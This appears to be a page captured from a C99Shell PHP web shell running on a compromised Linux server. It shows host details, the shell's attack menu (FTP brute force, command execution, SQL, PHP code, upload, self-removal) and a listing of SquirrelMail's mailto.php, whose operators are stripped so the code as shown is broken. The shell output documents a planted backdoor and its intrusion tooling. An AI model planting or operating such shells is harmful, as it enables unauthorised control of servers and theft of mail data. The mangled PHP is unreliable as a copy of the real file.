!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/src/   drwxr-xr-x
Free 318.38 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mailto.php (2.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * mailto.php -- mailto: url handler
 *
 * This checks to see if we're logged in.  If we are we open up a new
 * compose window for this email, otherwise we go to login.php
 * (the above functionality has been disabled, by default you are required to
 *  login first)
 *
 * Use the following url to use mailto:
 * http://<your server>/<squirrelmail base dir>/src/mailto.php?emailaddress=%1
 * see ../contrib/squirrelmail.mailto.reg for a Windows Registry file
 * @copyright &copy; 1999-2006 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: mailto.php,v 1.14 2006/01/23 18:43:28 tokul Exp $
 * @package squirrelmail
 */

/**
 * Path for SquirrelMail required files.
 * @ignore
 */
define('SM_PATH','../');

/* SquirrelMail required files. */
require_once(SM_PATH 'config/config.php');
require_once(
SM_PATH 'functions/global.php');
require_once(
SM_PATH 'functions/strings.php');

/* Force users to login each time? */
$force_login  true;
/* Open only the compose window, meaningless if $force_login is true */
$compose_only false;

header('Pragma: no-cache');

$trtable = array('cc'           => 'send_to_cc',
                 
'bcc'          => 'send_to_bcc',
                 
'body'         => 'body',
                 
'subject'      => 'subject');
$url '';

if(
sqgetGlobalVar('emailaddress'$emailaddress)) {
    
$emailaddress trim($emailaddress);
    if(
stristr($emailaddress'mailto:')) {
        
$emailaddress substr($emailaddress7);
    }
    if(
strpos($emailaddress'?') !== false) {
        list(
$emailaddress$a) = explode('?'$emailaddress2);
        if(
strlen(trim($a)) > 0) {
            
$a explode('='$a2);
            
$url .= $trtable[strtolower($a[0])] . '=' urlencode($a[1]) . '&';
        }
    }
    
$url 'send_to=' urlencode($emailaddress) . '&' $url;

    
/* CC, BCC, etc could be any case, so we'll fix them here */
    
foreach($_GET as $k=>$g) {
        
$k strtolower($k);
        if(isset(
$trtable[$k])) {
            
$k $trtable[$k];
            
$url .= $k '=' urlencode($g) . '&';
        }
    }
    
$url substr($url0, -1);
}
sqsession_is_active();

if(
$force_login == false && sqsession_is_registered('user_is_logged_in')) {
    if(
$compose_only == true) {
        
$redirect 'compose.php?' $url;
    } else {
        
$redirect 'webmail.php?right_frame=compose.php?' urlencode($url);
    }
} else {
    
$redirect 'login.php?mailto=' urlencode($url);
}

session_write_close();
header('Location: ' get_location() . '/' $redirect);

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0106 ]--